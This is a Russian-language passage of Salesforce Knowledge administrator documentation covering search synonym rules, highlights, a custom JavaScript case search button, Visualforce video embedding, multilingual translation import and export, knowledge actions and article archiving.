Синонимы — это слова или фразы, используемые при поиске в качестве эквивалентов, а также позволяющие
оптимизироватьрезультатыпоиска. Припоиске статей Salesforce Knowledgeпользователимогут вводить критериипоиска,
которые не соответствуют критериям в статьях, но являются их синонимами.
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Например, если пользователь задает следующую группу синонимов:

«CRM», «управление отношениями с клиентами», «Salesforce»,

то поиск по запросу «управление отношениями с клиентами» возвращает статьи, содержащие «управление отношениями с
клиентами», а также статьи, содержащие «CRM» или «Salesforce».

Ниже перечислены способы влияния синонимов на алгоритм поиска.

Приоритет
Еслипоисковыйзапрос являетсячастьюгруппысинонимов, торезультатыпоискаотображаютэлементы, содержащие
поисковый запрос, а также элементы, содержащие другие запросы из группы синонимов.

Например, пользователь задает группу синонимов ниже.

«фрукты», «апельсины»

Поиск по запросу «апельсины» возвращает список элементов, содержащих «апельсины», а также элементы, содержащие
синоним «фрукты».

Прим.: При сортировке списка посредством выбора заголовка столбца на вкладке «Управление статьями»
система сохраняет порядок сортировки, а не приоритет, в текущих и дополнительных поисках.

Специальные символы
Специальныйсимвол, используемыйвпоиске, позволяетрасширитьобластьпоиска. Обратитевниманиенаотсутствие
синонимов в результатах поиска (даже в том случае, если поисковый запрос содержит заданный синоним).

Например, пользователь задает группы синонимов ниже.

«фрукты», «апельсины», «яблоки»

«капуста», «лук»

Поиск по запросу «апельси* лук» возвращает элементы, содержащие «апельсин» и «апельсины», но не возвращает
элементы, содержащие «фрукты», «яблоки» и «капуста».

Операторы
Еслипоисковыйзапрос содержитоператор (И/ИЛИ/И НЕ), то совпадающиесинонимыотображаются только в том
случае, если весь поисковый запрос является заданным синонимом.

Например, пользователь задает группы синонимов ниже.

«фрукты», «апельсины и яблоки»

«овощи», «морковь»

Поиск по запросу «апельсины и яблоки» возвращает все элементы, содержащие текстовую строку «апельсины и яблоки»,
а также все элементы, содержащие синоним «фрукты».

Тем не менее, поиск по запросу «фрукты и овощи», который не является заданным синонимом, возвращает только
элементы, содержащие оба синонима «фрукты» и «овощи».

В данном случае И является оператором, поэтому результаты поиска не содержат совпадающих синонимов. Таким
образом, элементы, содержащие синоним «фрукты» или «овощи» (элементы, содержащие синоним «морковь» или
«апельсины и яблоки»), не отображаются.

Точныефразы
Заданныйсиноним, являющийсятолькочастьюболеедлинногокритерияпоискапоточнойфразе, необрабатывается
в качестве синонима.

Например, пользователь задает группу синонимов ниже.

«апельсины яблоки», «фрукты»
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Поиск по точной фразе «"малина апельсины яблоки"» не возвращает элементы, содержащие слово «фрукты».

Лемматизация
Синонимы не подлежат лемматизации в результатах поиска; они сопоставляются как точная фраза. Однако,
лемматизации подлежит поисковый термин.

Например, пользователь задает группу синонимов ниже.

охлаждать, пить апельсиновый сок

Поиск по запросу охлаждать возвращает элементы, содержащие формы охлаждать, охлажденный, охлаждение и пить
апельсиновый сок, но не возвращает элементы, содержащие форму питье апельсинового сока.

Пропущенные слова
Слова, которые обычно пропускаются в поисках (например, предлоги «в», «на» и «для»), обрабатываются только при
использовании слова в качестве заданного синонима.

Например, пользователь задает группу синонимов ниже.

«почистить апельсин», «нарезать яблоко»

Поиск по запросу «почистить апельсин» возвращает элементы, содержащие точную строку «почистить апельсин».

Перекрывающиеся синонимы
Если поисковый запрос содержит перекрывающиеся синонимы из разных групп, то поиск возвращает синонимы
изо всех групп перекрывающихся синонимов.

Например, пользователь задает группы синонимов ниже.

• «апельсин мармелад», «цитрус»

• «мармелад рецепт», «сахар»

Поискпозапросу «апельсин мармелад рецепт» возвращает элементы, содержащие «апельсинмармелад», «цитрус», «мармелад
рецепт» и «сахар».

Поднаборы
Если одна группа синонимов содержит синоним, являющийся поднабором синонима из другой группы, то поиск
по критерию поднабора не возвращает элементы, содержащие синонимы из группы синонимов поднабора.

Например, пользователь задает группы синонимов ниже.

• «апельсин», «яблоко»

• «апельсин мармелад», «цитрус»

• «мармелад», «джем»

Поиск по запросу «апельсин мармелад» возвращает элементы, содержащие «апельсин мармелад» и «цитрус», но не
возвращает элементы, содержащие «яблоко» или «джем».
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Выделения и фрагменты поиска

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

Системапозволяетбыстронаходитьнужнуюстатьюиопределять степеньсоответствия
статей введенным критериям поиска путем просмотра соответствующего текста и
выделенных критериев поиска в результатах поиска.

Выделения и фрагменты поиска позволяют агентам и пользователям просматривать
контекст, объясняющий причину соответствия отдельного результата введенному
поисковому запросу. Соответствующийтекстотображаетсяпод заголовком, а критерии
поискавыделяютсяжирнымшрифтом. Чтобывключитьвыделенияифрагментыпоиска,
воспользуйтесь страницей параметров Salesforce Knowledge на странице 3020.

Прим.: Выделения и фрагменты не поддерживаются поисками, содержащими
специальные символы.

Ниже перечислены поля, которые поддерживают создание выделений и фрагментов
поиска.

• Эл. почта

• Область подробного текста

• Область обогащенного текста

• Область текста

Ниже перечислены поля, которые не поддерживают создание выделений и фрагментов поиска.

• Кнопка-флажок

• Валюта

• Дата

• Дата/время

• Файл

• Формула

• Поиск

• Раскрывающийся список (множественный выбор)

• Число

• Процент

• Тел.

• Раскрывающийся список

• URL-адрес

Прим.: При отсутствии созданного фрагмента отображается поле сводки статьи.
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Управление продвигаемыми поисковыми терминами

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
продвигаемых поисковых
терминов:
• «Управление

продвигаемыми
поисковымитерминами»

Всепродвигаемыепоисковыетермины, связанныесо статьями Salesforce Knowledge, могут
просматриваться, редактироваться и удаляться посредством одной страницы.

1. Введите строку «Продвигаемые поисковые термины» в поле «Быстрый поиск» вменю
«Настройка» и выберите пункт «Продвигаемые поисковые термины».

СМ. ТАКЖЕ:

Продвижение статьи в результатах поиска пользователей

Советы, рекомендации и примеры использования Salesforce Knowledge

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

Воспользуйтесь советами по администрированию Salesforce Knowledge.

Ниже перечислены некоторые способы настройки базы Salesforce Knowledge.

• Использование дополнительных ключевых слов для поиска статей из обращения
на странице 3044

• Просмотр видеороликов от любого поставщика посредством настраиваемой
страницы Visualforce на странице 3046
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Использование дополнительных ключевых слов для поиска статей из обращения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
настраиваемых кнопок или
ссылок и создания страницы
Visualforce:
• «Настройка

приложения»

Ключевые слова из обращения позволяют дополнительно уточнить критерии поиска
статей.

По умолчанию при поиске статей из обращения используется только заголовок
обращения. При необходимости система позволяет использовать дополнительную
информацию из обращения для уточнения результатов поиска, выполнять поиск по
источникам, отличающимся от Salesforce Knowledge, и создавать настраиваемую кнопку
поиска.

Ниже перечислены другие параметры, принимаемые страницами поиска Salesforce
Knowledge.

• id=<код обращения>: код текущего обращения.

• search=<ключевые слова>: ключевые слова для поиска.

• articleType_<имя разработчика типа статьи>=on: множество возможных
параметров; типыстатейдлявыбора (приотсутствиивыбранноготипастатьисистема
автоматически выбирает все типы статей).

• ct_<внутреннееимягруппыкатегорийданных>=<внутреннееимякатегории
данных>: множество возможных параметров; предварительный выбор фильтра.

Чтобы воспользоваться данными параметрами, рекомендуем добавить настраиваемую
кнопку на страницу сведений об обращении, содержащую несколько строк JavaScript,
которые извлекают ключевые слова из обращения и скрывают стандартную кнопку
поиска статей.

Прим.: Чтобысоздатьнастраиваемыйвиджетстатьи, воспользуйтеськомпонентом
support:caseArticle.

1. Откройте страницу «Кнопки, ссылки и действия» посредством параметров управления обращениями.

2. Нажмите кнопку «Создать кнопку или ссылку».

3. Заполните поля «Метка», «Имя» и «Описание» уникальными значениями.

4. Установите переключатель «Кнопка страницы сведений» в поле «Тип отображения».

5. Выберите значение «Выполнить JavaScript» в раскрывающемся списке «Алгоритм».

6. Выберите значение «OnClick JaveScript» в раскрывающемся списке «Источник содержимого».

7. Введите код для извлечения данных обращения и настройки параметров для страницы поиска статей.

Например:

// article search page URL
var url = '/knowledge/knowledgeHome.apexp';

// ID of the current case
url += '?id={!Case.Id}';

// use the case subject as the search keywords
url += '&search={!Case.Subject}';

// read case attributes
var caseType = '{!Case.Type}';
var caseProduct = '{!Case.Product__c}';
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// if the case is of a certain type, select only 2 of the article types available
// in other cases, we keep the default behavior (all article types selected)

if (caseType=='Problem' || caseType=='Question') {
url += '&articleType_FAQ_kav=on';
url += '&articleType_How_To_kav=on';

}

// preselect a data category for search results based on the category

var product = '';
if (caseProduct=='Home')

product = 'Home';
if (caseProduct=='SMB')

product = 'Small_and_Medium_Business';
if (caseProduct=='Large enterprise')

product = 'Large_Enterprise';

if (product.length>0)
url += '&ct_Products2=' + product;

// once the logic is executed, we go to the article search page
window.location = url;

8. Нажмите кнопку «Сохранить».

9. Откройте страницу «Макеты страниц» посредством параметров управления обращениями.

10. Щелкните ссылку «Правка» напротив имени макета страницы «Макет обращения».

11. Перетащите настраиваемую кнопку для поиска статей в макет обращения.

12. Нажмите кнопку «Сохранить».

13. Чтобысоздать страницуVisualforceпоимени CaseDetailsWithoutStandardKBSearchButton, воспользуйтесь
кодом ниже.

<apex:page standardController="Case">
<style type="text/css">

div.knowledgeBlock input {display: none}
</style>
<apex:detail/>

</apex:page>

14. Вернувшись в область «Кнопки, ссылки и действия» для обращений, нажмите кнопку «Правка» рядом с
«Представлением».

15. Установите переключатель «Страница Visualforce» в поле «Переопределить на».

16. Выберите значение «CaseDetailsWithoutStandardKBSearchButton» из раскрывающегося списка.

17. Нажмите кнопку «Сохранить».
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Просмотр видеороликов от любого поставщика посредством настраиваемой страницы Visualforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания страницы
Visualforce:
• «Настройка

приложения»

Для создания статей:
• «Управление статьями»

И

«Чтение» и «Создание»
для типа статьи

Для редактирования
черновых статей:
• «Управление статьями»

И

«Чтение» и
«Редактирование» для
типа статьи

Для редактирования
опубликованных или
архивных статей:
• «Управление статьями»

И

«Создание», «Чтение» и
«Редактирование» для
типа статьи

Видеороликиот любогопоставщикамогут быть вставленыв статьи Salesforce Knowledge
посредством настраиваемой страницы Visualforce и HTML-редактора.

Например, чтобы создать страницу Visualforce, воспользуйтесь кодом ниже.

<apex:page showHeader="false" showChat="false" sidebar="false">
<iframe width="560" height="315"
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src="http//myvideo.provider.com/embed/{!$CurrentPage.parameters.VideoID}"
frameborder="0" allowfullscreen="true">

</iframe>
</apex:page>

Затем добавьте ссылки на видеоролики посредством HTML-редактора. См. пример кода ниже.

<iframe frameborder="0" height="315"
src="https://<salesforce_instance>/apex/Video?videoID=12345"
width="560">

</iframe>

Настройка многоязычной базы знаний

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки
многоязычной поддержки
Salesforce Knowledge:
• «Настройка

приложения»

И

«Управление Salesforce
Knowledge»

Чтобы настроить многоязычную базу знаний, выполните указанные ниже действия.

1. Прежде чем отправить статьи на перевод, рекомендуем создать очередь перевода.
Дополнительную информацию о процессе перевода см. в разделе «Многоязычная
поддержка в базе знаний» на странице 3048.

2. В меню «Настройка» введите «Параметры базы знаний» в поле «Быстрый поиск»,
затем выберите «Параметры базы знаний» ищелкните «Изменить».

3. Установитефлажок «Несколько языков» и выберите языки, которые должны быть
добавлены в базу знаний. Разрешается добавлять только языки, поддерживаемые
системой Salesforce.

Прим.: Язык, добавленный в базу знаний, не может быть удален.

4. При необходимости настройте параметры ниже для каждого языка.

ОписаниеПараметр

Диалоговые окна «Создать статью» и
«Отправить на перевод» отображают
только активные языки. Статус
«Активно»/«Неактивно» определяет
доступность опубликованной статьи.
Например, статьи, опубликованные на
партнерском портале на испанском
языке, доступныпартнерам только в том
случае, если испанский язык является
активным.

Активно

Данное значение отображается в поле
«Назначить» диалогового окна

Назначенный по умолчанию

«Отправить на перевод». Выберите
пользователяилиочередь: пользователь
несет ответственность за перевод статей
на данный язык, а очередь используется
для экспорта статей поставщику
перевода.
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ОписаниеПараметр

Выберитепользователя, которомудолжнабытьназначена
проверка илипубликация переводов, импортированных
на данном языке.

Эксперт по умолчанию

5. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Настройка Salesforce Knowledge

Настройка параметров Salesforce Knowledge

Многоязычная поддержка в базе знаний

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

Salesforce Knowledge позволяет сократить расходы на поддержку путем перевода статей
нанужныеязыки. Посленастройкипараметровязыкапользователямдоступныдваметода
перевода: самостоятельный перевод статей посредством инструмента редактирования
вбазе знанийилиотправкастатейпоставщикуперевода. Разныеязыкимогутиспользовать
разные методы. Например, статьи могут быть назначены пользователю Salesforce
Knowledge для перевода на испанский язык и отправлены поставщику для перевода на
французский язык.

Ниже перечислены стандартные этапы перевода статьи в базе знаний.

1. Авторилиэкспертотправляет статьюнапереводдругомупользователюбазызнаний
(назначенному).

2. Назначенныйпереводит статьюпосредствомредактора статейиназначает готовый
перевод эксперту или издателю.

3. Экспертпубликует статью. Помимоисходнойстатьи, такжепубликуются ее готовые
переводы. Обратите внимание, чтоперевод статьи, опубликованныйдопубликации
исходной статьи, доступен пользователям только после публикации исходной статьи.

Ниже перечислены стандартные этапы перевода статьи поставщиком.

1. Автор или эксперт назначает статью очереди перевода.

2. Администратор создает файл экспорта и отправляет его поставщику перевода.

3. Поставщик возвращает переведенные статьи, которые импортируются администратором в базу знаний.
Импортированные статьи могут быть автоматически опубликованы или назначены эксперту.

4. Переводы, которые не были опубликованы автоматически, проверяются и публикуются назначенным.

Советы по внедрению

• Прежде чем добавить языки в базу знаний, выберите метод перевода статей для каждого языка: система Salesforce или
поставщик перевода. Сообщите данное решение всем сотрудникам, вовлеченным в процесс перевода (авторам,
экспертам, менеджерам и издателям).

• Язык, добавленный в базу знаний, неможет быть удален, номожет быть скрыт путем назначения статуса неактивного.
Деактивация языка отменяет его доступность в диалоговых окнах «Создать статью» и «Отправить на перевод». Кроме
того, статьи, опубликованные на языке, который затем деактивируется, становятся недоступными пользователям.
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• Разрешается добавлять только языки, поддерживаемые системой Salesforce.

• Чтобы включить функцию экспорта статей, рекомендуем создать как минимум одну очередь; очередь выбирается
авторами и экспертами при отправке статьи на перевод. Убедитесь, что им известен принцип выбора очередей и
языков.

• Все файлы перевода (файлы, экспортированные из системы Salesforce и переведенные поставщиком) должны быть
добавлены в папку, имя которой соответствует коду языка. Например, статьи, переведенные на французский язык,
должны быть добавлены в папку fr. Чтобы создать файл импорта, заархивируйте данную папку.

Рекомендации

• Чтобы скрыть статьи, переведенные на определенный язык, снимите флажок «Активно» напротив нужного языка
на странице параметров.

• Чтобыимпортироватьпереведенныестатьи, убедитесь, что структураирасширенияфайлов соответствуютструктуре
ирасширениямфайлов, экспортированныхиз Salesforce Knowledgeдляперевода. Например, структурафайла, указанная
ниже, может использоваться при переводе на французский язык.

import.properties
-fr
--articletypearticlename_kav
---articlename.csv
---[Article collateral, html, images, etc.]

СМ. ТАКЖЕ:

Настройка многоязычной базы знаний

Экспорт статей для перевода

Перевод статей в Salesforce Knowledge
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Импорт переводов статьи

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для импорта статей:
• «Управление Salesforce

Knowledge»

И

«Управление статьями»

И

«Управление
импортом/экспортом
статей базы знаний»

И

«Чтение», «Создание»,
«Редактирование» и
«Удаление» для типа
статьи

Для просмотра статей:
• «Чтение» для типа

статьи

Для создания статей:
• «Управление статьями»

И

«Чтение» и «Создание»
для типа статьи

Прежде чем импортировать переведенные статьи в систему Salesforce, просмотрите
перечисленные ниже рекомендации.

• Статьи могут быть импортированы только в организацию Salesforce,
использовавшуюсядляихэкспорта. Например, статьи, экспортированныеизпробной
или безопасной организации, не могут быть импортированы в производственную
организацию.

• Всефайлыперевода (файлы, экспортированныеизсистемыSalesforceипереведенные
поставщиком) должны быть добавлены в папку, имя которой соответствует коду
языка. Например, статьи, переведенныенафранцузскийязык, должныбытьдобавлены
в папку fr. Чтобы создать файл импорта, заархивируйте данную папку.

• Чтобыимпортироватьпереведенныестатьи, убедитесь, чтоструктураирасширения
файлов соответствуют структуре и расширениямфайлов, экспортированных из
Salesforce Knowledgeдляперевода. Например, структурафайла, указаннаяниже, может
использоваться при переводе на французский язык.

import.properties
-fr
--articletypearticlename_kav
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---articlename.csv
---[Article collateral, html, images, etc.]

Чтобы импортировать переведенные статьи, выполните указанные ниже действия.

1. В меню «Настройка» введите «Импорт переводов статьи» в поле «Быстрый поиск», затем выберите «Импорт
переводов статьи».

2. Выберите способ обработки импортированных переводов в системе Salesforce.

ОписаниеПараметр

Добавление импортированных переводов в очередь,
поддерживающую их проверку.

Просмотреть импортированные переводы на вкладке
«Управление статьями» перед публикацией

Публикацияимпортированныхпереводовбез проверок.Опубликовать переводы сразу после импорта

3. Выберите язык импортируемых статей.

4. Если статьи должны быть проверены перед публикацией, выберите отправку файлов пользователю или очереди, а
затем выберите имя нужного пользователя или очереди.

5. Нажмите кнопку «Обзор», выберите нужный архивныйфайл перевода и нажмите кнопку «Открыть».

6. Нажмите кнопку «Импортировать!».

Чтобы загрузить дополнительные переведенные статьи, повторите действия 4—6.

7. Нажмите кнопку «Готово».

Уведомление о завершении импорта будет отправлено пользователю по эл. почте. Состояние импорта можно
просмотреть в меню «Настройка». Для этого нужно ввести Импорт и экспорт статей в поле Быстрый поиск, затем
выбратьИмпорт и экспорт статей.

СМ. ТАКЖЕ:

Настройка многоязычной базы знаний

Экспорт статей для перевода

3051

Добавление Salesforce KnowledgeНастройка и обслуживание инструментов службы поддержки



Экспорт статей для перевода

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Компонент Salesforce
Knowledge доступен за
дополнительную плату в
версиях Enterprise и
Unlimited.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для экспорта статей:
• «Управление Salesforce

Knowledge»

И

«Управление статьями»

И

«Управление
импортом/экспортом
статей базы знаний»

Для просмотра статей:
• «Чтение» для типа

статьи

Для создания статей:
• «Чтение» и «Создание»

для типа статьи

СтатьиSalesforce Knowledge, отправленныепоставщикунаперевод, добавляютсявочередь
перевода.

Прим.: Разрешается использовать не более 50 экспортов в сутки и 15 отложенных
экспортов (незавершенные экспорты со статусом «Сбой» или «Отменено»).

Чтобысоздатьфайлэкспорта, содержащийстатьи, отправленныенаперевод, выполните
указанные ниже действия.

1. Вменю «Настройка» введите «Экспорт статей для перевода» вполе «Быстрый поиск»,
затем выберите «Экспорт статей для перевода».

2. Выберите очередь, содержащую экспортируемые статьи.

3. Щелкните...

• «Все статьи», чтобы экспортировать все статьи в очереди.

• «Обновленные статьи», чтобы экспортировать только измененные или
добавленные статьи.

4. Нажмите кнопку «Продолжить».

5. Выберите нужный исходный язык и язык перевода. Система Salesforce создает
отдельный архивныйфайл для каждого типа статьи в каждой языковой паре.

Важное замечание: Рекомендуем сохранить структуру архивного файла для
успешного импорта. Дополнительную информацию см. в разделе «Импорт
переводов статьи» на странице 3050.

6. Чтобыпроверитьилиопубликоватьпереведенныефайлы, выберитеотправкуфайлов
пользователюилиочереди, а затемвыберитеимянужногопользователяилиочереди.

7. Выберите кодировку файла.

• Стандартная США и западноевропейская (ISO-8859-1, ISO-LATIN-1)

• Юникод

• Юникод (UTF-8): значение по умолчанию

• Японская (Windows)

• Японская (Shift_JIIS)

• Китайская стандартная (GB18030)

• Китайская упрощенная (GB2312)

• Китайская традиционная (Big5)

• Корейская

• Юникод (UTF-16, Big Endian)

8. Выберите разделитель для CSV-файлов. Разделитель — это символ, предназначенный для разделения столбцов при
преобразованиифайла в таблицу. Доступные значения:

• Символ табуляции (Данное значение выбрано по умолчанию.)

• Запятая

9. Нажмите кнопку «Экспортировать!».
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Уведомление о завершении экспорта будет отправлено пользователю по электронной почте. Кроме того, можно
проверить состояние экспорта, просмотревраздел «Очередьимпортаи экспорта статей». Вменю «Настройка» введите
«Импорт и экспорт статей» в поле «Быстрый поиск», затем выберите «Импорт и экспорт статей».

Дополнительнуюинформациюо статусах см. в разделе «Просмотр статуса импорта и экспорта Salesforce Knowledge»
на странице 3120.

10. Извлеките экспортированные файлы из архива. Рекомендуем сохранить структуру архивного файла для успешного
импорта.

СМ. ТАКЖЕ:

Настройка многоязычной базы знаний

Создание и активация действий базы знаний

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения действий
Salesforce Knowledge:
• «Настройка

приложения»

Действия базы знаний — этошаблоны, связывающиедействие бизнес-правила с типом
статьи.

Действия базы знаний позволяют связывать типы статей с определенными действиями
над статьей (например, публикация). Например, чтобы публиковать каждый вопрос как
новуюверсиюпослевыполненияпроцесса утверждения, создайтедействиебазызнаний,
связывающее тип статьи «Вопросы и ответы» с действием «Опубликовать как новое».
Затем выберите новое действие базы знаний при создании процесса утверждения для
вопросов.

Прим.: Чтобыразрешитьпользователямопубликовать статью, выберитедействие
окончательного утверждения «Разблокировать запись для редактирования» при
создании процесса утверждения.

Чтобыобеспечитьмаксимальноеиспользованиепамятивовремяпубликациибольших
наборов статей, система Salesforce может отложить публикацию и добавить статьи в
очередь. Публикация статей откладывается в том случае, если количество статей и
переводов, умноженное на количество областей обогащенного текста, превышает 100.
Чтобы проверить статус статей в очереди на публикацию, откройте страницу
«Автоматические действия процессов».

1. Введитестроку «Действия» вполе «Быстрый поиск» вменю «Настройка» ивыберите
пункт «Глобальные действия».

2. Нажмите кнопку «Создать действие базы знаний».

3. Выберите тип статьи для действия. Бизнес-правила и процессы утверждения,
связываемые с действием, должны принадлежать одному типу статьи.

4. Введите уникальное имя для действия базы знаний.

5. Выберите тип действия для применения к типу статьи. Например, действие «Опубликовать как новое» публикует
статью в качестве новой версии.

6. Введите описание.

7. Нажмите кнопку «Сохранить».
Страница сведений о действии базы знаний содержит правила и процессы утверждения, используемые данным
действием.
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8. Чтобы использовать действие базы знаний в процессе утверждения или бизнес-правиле, нажмите кнопку
«Активировать» на странице сведений о действии базы знаний.

Назначение действий над статьей общедоступным группам

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания
общедоступных групп и
назначения действий над
статьей:
• «Настройка

приложения»

И

«Управление
пользователями»

И

«Управление Salesforce
Knowledge»

Действия над статьей позволяют пользователям управлять процессами перевода и
публикациистатьи. Поумолчаниювседействиянад статьейназначаютсяпользователям
сполномочием «Управлениестатьями». Данныедействиямогутбыть выполненытолько
приналичии соответствующихполномочийдля типа статьи (см. таблицу ниже). Чтобы
контролировать доступные действия над статьей, рекомендуем назначить их
общедоступным группам.

Данная таблицасодержитполномочия, необходимыедля выполнениякаждогодействия
над статьей.

УдалениеПравкаЧтениеСозданиеДействие над статьей

Опубликовать статьи

Архивировать статьи

Удалить статьи

Редактировать опубликованные
и архивные статьи

Отправить статьи на перевод

Опубликовать перевод

Редактировать перевод

Прим.:

• To delete published article and translations, first remove them from publication by
choosing edit or archive.

• Когдапользовательбез доступа к удалениюотменяетправку вопубликованной
статье, вновь созданный черновик статьи не удаляется автоматически.

Чтобы назначить действия над статьей общедоступным группам, выполните указанные
ниже действия.

1. Создайте общедоступную группу для каждой группы пользователей.

Прим.: Общедоступная группа может содержать любых пользователей Salesforce, однако действия над статьей
доступны только пользователям с полномочием «Управление статьями» и соответствующими полномочиями
объекта.

2. Вменю «Настройка» введите «Действия со статьями баз знаний» вполе «Быстрый поиск», затемвыберите «Действия
состатьямибаззнаний»ирешите, какимпользователямследует выполнять какиедействия. Например, предоставьте
группе «Издатели» возможностьпубликации, архивированияиудалениястатей, а группе «Переводчики» — возможность
отправки статей на перевод, публикации и архивирования переведенных статей.

3. Назначьте действия над статьей общедоступным группам.
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В меню «Настройка» введите «Параметры базы знаний» в поле «Быстрый поиск», затем выберите «Параметры
базы знаний» ищелкните «Изменить».

a.

b. Установите соответствующийпереключательдлянужногодействияивыберитеобщедоступнуюгруппу. Действие
над статьей, которое не изменено, доступно всем пользователям с полномочием «Управление статьями».

c. Нажмите кнопки «OK» и «Сохранить».

СМ. ТАКЖЕ:

Настройка Salesforce Knowledge
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Архивирование статей и переводов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.
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ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования или
удаления статей:
• «Управление статьями»

И

«Создание», «Чтение»,
«Редактирование» или
«Удаление» для типа
статьи

Для публикации или
архивирования статей:
• «Управление статьями»

И

«Создание», «Чтение»,
«Редактирование» и
«Удаление» для типа
статьи

Для отправки статей на
перевод:
• «Управление статьями»

И

«Создание», «Чтение» и
«Редактирование» для
типа статьи

Для отправки статей на
утверждение:
• Полномочия

определяются
параметрами процесса
утверждения

Архивирование инициирует удаление устаревших опубликованных статей и их
недоступность агентам и клиентам в каналах Salesforce Knowledge, используемых
организацией.

Чтобы заархивировать статьи, выполните указанные ниже действия.

1. Установите переключатель «Опубликованные статьи» в области «Просмотр» на
вкладке «Управление статьями», выберите нужные статьи и нажмите кнопку
«Архивировать...». Илинажмите кнопку «Архивировать...» на странице сведений
об опубликованной статье.

2. Выберите «Архивировать статьи!». Чтобы выбрать дату архивирования статьи,
выберите «Запланировать архивирование на:».

3. Нажмите кнопку «OK».

Статьи, архивирование которых выполняется сразу, перемещаются в представление
«Архивные статьи». Статьи, архивирование которых запланировано на более позднюю
дату, отображаютсявпредставлении «Опубликованныестатьи», носо значкоможидания
( ) напротив заголовка статьи. Чтобы просмотреть дату архивирования, наведите
указательмышина значок. Принаступлениидаты архивирования статья автоматически
перемещается в представление «Архивные статьи».

Прим.:

• Одновременное выполнение действий разными пользователями над одними
и теми же статьями может инициировать возникновение конфликтов. В
зависимости от того, кто выполняет первое действие, статьи будут недоступны
другим пользователям даже в случае их отображения в списке статей.
Выполнение действия над данными статьями инициирует отображение
сообщения об ошибке.

• Редактированиеопубликованнойстатьи, архивированиекоторойзапланировано
на более позднюю дату, инициирует отмену архивирования.

• Архивирование статьи, содержащей опубликованный перевод и черновую
версию, инициирует удаление черновой версии. Опубликованные переводы
архивируются вместе со статьей.

Совет: Чтобыотменитьзапланированноеархивирование, нажмитекнопку«Отмена
архивирования» на странице сведений о статье.
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Создание и изменение групп категорий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Категории данных и ответы
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Компонент Salesforce
Knowledge доступен за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра страницы
«Категории данных»:
• «Просмотр категорий

данных»

Для создания,
редактирования или
удаления категорий данных:
• «Управление

категориями данных»

Группы категорий могут использоваться в Salesforce Knowledge (статьи) или сообществе
ответов (вопросы). В обоих случаях группы категорий являются контейнерами для
отдельныхкатегорийданных. Например, группакатегорий «Контракты» можетсодержать
категории «Фиксированнаяцена», «Покрытиерасходов» и «Доставкабез установленного
срока». Дополнительнуюинформацию см. в разделе «Что такое категории данных?» на
странице 3060.

Чтобы создать или изменить группу категорий, выполните указанные ниже действия.

1. Введите строку «Категории данных» в поле «Быстрый поиск» и выберите пункт
«Настройка категорий данных».

2. Чтобы создать группу категорий, нажмите кнопку «Создать» в разделе «Группы
категорий». Поумолчаниюпользовательможетсоздатьнеболеепятигруппкатегорий
итрех активных группкатегорий. Чтобысоздать дополнительные группыкатегорий,
обратитесь в компанию Salesforce.

Чтобыизменитьтекущуюгруппукатегорий, наведитеуказательмышинаимянужной

группы категорий ищелкните значок «Редактировать группу категорий» ( ).

3. Заполните поле «Имя группы». Данное имя отображается в качестве заголовка
